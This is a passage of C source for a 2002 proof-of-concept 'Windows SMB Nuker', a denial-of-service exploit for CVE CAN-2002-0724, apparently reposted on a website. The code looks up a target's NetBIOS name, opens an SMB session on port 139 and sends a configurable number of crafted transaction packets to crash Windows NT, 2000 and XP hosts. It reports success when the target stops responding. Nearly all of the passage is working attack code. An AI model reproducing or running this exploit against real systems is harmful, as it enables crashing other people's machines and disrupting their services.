  memset (&dest, 0, sizeof (struct sockaddr_in));

  dest.sin_family = AF_INET;
  dest.sin_addr.s_addr = *(long *) (host->h_addr);
  dest.sin_port = htons (port);

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
    {
      fprintf (stderr, "Could not setup the UDP socket: %s\n",
               strerror (errno));
      return NULL;
    }

  memset (&query, 0, sizeof (nbt_name_query));

  query.transaction_id = (uint16_t) bswap16 (0x1e);     //rand();
  query.flags = bswap16 (0x0010);
  query.questions = bswap16 (1);

  name_mangle ("*", query.query, 0);
  query.type = bswap16 (0x21);
  query.class = bswap16 (0x01);

  if (sendto
      (fd, &query, sizeof (nbt_name_query), 0, (struct sockaddr *) &dest,
       sizeof (struct sockaddr_in)) != sizeof (nbt_name_query))
    {
      fprintf (stderr, "Could not send UDP packet: %s\n", strerror (errno));
      return NULL;
    }

  /* Now, wait for an answer -- add a timeout to 10 seconds */

  FD_ZERO (&rfds);
  FD_SET (fd, &rfds);

  tv.tv_sec = timeout;
  tv.tv_usec = 0;

  if (!select (fd + 1, &rfds, NULL, NULL, &tv))
    {
      fprintf (stderr,
               "The udp read has reached the timeout - try setting the netbios name manually - exiting...\n");
      return NULL;
    }

  recvfrom (fd, buffer, size, 0, NULL, NULL);

  for (i = 0; i < ((nbt_name_query_answer *) buffer)->names; i++)
    if ((uint8_t) * (buffer + sizeof (nbt_name_query_answer) + 18 * i + 15) ==
        0x20)
      return buffer + sizeof (nbt_name_query_answer) + 18 * i;

  printf ("No netbios name available for use - you probably won't be able to crash this host\n");
  printf ("However, you can try setting one manually\n");

  return NULL;
}

char *
extract_name (const char *name)
{
  int i;
  char *p = malloc(14);

  for (i = 0; i < 14; i++)
    if (name[i] == ' ')
      break;
     else
      p[i] = name[i];

  p[i] = '\0';

  return p;
}

void
print_banner (void)
{
  printf ("Windows SMB Nuker (DoS) - Proof of concept - CVE CAN-2002-0724\n");
  printf ("Copyright 2002 - Frederic Deletang (df@phear.org) - 28/08/2002\n\n");
}

int
is_smb_header (const unsigned char *buffer, int len)
{
  if (len < sizeof (smb_header))
    return 0;

  if (buffer[0] == 0xff && buffer[1] == 'S' && buffer[2] == 'M'
      && buffer[3] == 'B')
    return 1;
  else
    return 0;
}

int
main (int argc, char **argv)
{
  int fd, r, i, c;
  unsigned char buffer[1024 * 4];       /* Enough. */
  char *hostname = NULL, *name = NULL;

  unsigned int showhelp = 0;

  unsigned int packets = 10;
  unsigned int state;

  unsigned int udp_timeout = 10;
  unsigned int tcp_timeout = 10;

  unsigned short netbios_ssn_port = 139;
  unsigned short netbios_ns_port = 137;

  fd_set rfds;
  struct timeval tv;

  srand (time (NULL));

  print_banner ();

  while ((c = getopt (argc, argv, "N:n:p:P:t:T:h")) != -1)
    {
      switch (c)
        {
        case 'N':
          name = optarg;
          break;
        case 'n':
          packets = atoi (optarg);
          break;
        case 'p':
          netbios_ns_port = atoi (optarg);
          break;
        case 'P':
          netbios_ssn_port = atoi (optarg);
          break;
        case 't':
          udp_timeout = atoi (optarg);
          break;
        case 'T':
          tcp_timeout = atoi (optarg);
          break;
        case 'h':
        default:
          showhelp = 1;
          break;
        }
    }

  if (optind < argc)
	  hostname = argv[optind++];

  if (showhelp || hostname == NULL)
    {
      printf ("Usage: %s [options] hostname/ip...\n", argv[0]);
      printf
        ("   -N [netbios-name]         Netbios Name (default: ask the remote host)\n");
      printf
        ("   -n [packets]              Number of crafted packets to send (default: %d)\n",
         packets);
      printf
        ("   -p [netbios-ns port]      UDP Port to query (default: %d)\n",
         netbios_ns_port);
      printf
        ("   -P [netbios-ssn port]     TCP Port to query (default: %d)\n",
         netbios_ssn_port);
      printf
        ("   -t [udp-timeout]          Timeout to wait for receive on UDP ports (default: %d)\n",
         udp_timeout);
      printf
        ("   -T [tcp-timeout]          Timeout to wait for receive on TCP ports (default: %d\n",
         tcp_timeout);
      printf ("\n");
      printf ("Known vulnerable systems: \n");
      printf ("    - Windows NT 4.0 Workstation/Server\n");
      printf ("    - Windows 2000 Professional/Advanced Server\n");
      printf ("    - Windows XP Professional/Home edition\n\n");
      exit (1);
    }

  if (!name
      && (name =
          list_netbios_names (buffer, sizeof (buffer), hostname,
                              netbios_ns_port, udp_timeout)) == NULL)
    exit (1);
  else
    name = extract_name (name);

  printf ("Using netbios name: %s\n", name);

  printf ("Connecting to remote host (%s:%d)...\n", hostname,
          netbios_ssn_port);

  fd = tcp_connect (hostname, netbios_ssn_port);

  if (fd == -1)
    exit (1);

  FD_ZERO (&rfds);
  FD_SET (fd, &rfds);

  tv.tv_sec = tcp_timeout;
  tv.tv_usec = 0;

  state = STATE_REQUESTING_SESSION_SETUP;

  request_session_setup (fd, name);

  for (;;)
    {
      if (!select (fd + 1, &rfds, NULL, NULL, &tv))
        {
          if (state == STATE_REQUESTING_TRANSACTION)
            {
              fprintf (stderr,
                       "Timeout during TCP read - Seems like the remote host has crashed\n");
              return 0;
            }
          else
            {
              fprintf (stderr,
                       "Nuke failed (tcp timeout) at state %#02x, exiting...\n",
                       state);
              return 1;
            }
        }

      r = read (fd, buffer, sizeof (buffer));

      if (r == 0)
        {
          printf
            ("Nuke failed at state %#02x (EOF, wrong netbios name ?), exiting...\n",
             state);
          exit (1);
        }

      if (((smb_header *) (buffer + 4))->error_class != 0)
        {
          fprintf (stderr, "Nuke failed at state %#02x, exiting...\n", state);
          exit (1);
        }

      switch (state)
        {
        case STATE_REQUESTING_SESSION_SETUP:
          printf ("Negotiating protocol...\n");
          negotiate_protocol (buffer, fd);
          break;
        case STATE_NEGOTIATING_PROTOCOL:
          printf ("Requesting session setup (AndX)\n");
          request_session_setup_andx (buffer, fd);
          break;
        case STATE_REQUESTING_SESSION_SETUP_ANDX:
          printf ("Requesting tree connect (AndX)\n");
          request_tree_connect_andx (buffer, fd, name);
          break;
        case STATE_REQUESTING_TREE_CONNECT_ANDX:
          for (i = 0; i < packets; i++)
            {
              printf ("Requesting transaction (nuking) #%d\n", i + 1);
              request_transaction (buffer, fd);
            }
	    printf ("Wait...\n");
          break;
        default:
          printf ("Seems like the nuke failed :/ (patched ?)\n");
	  exit (1);
        }

      state++;
    }

  return 0;
}
Leave a Comment : more...

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...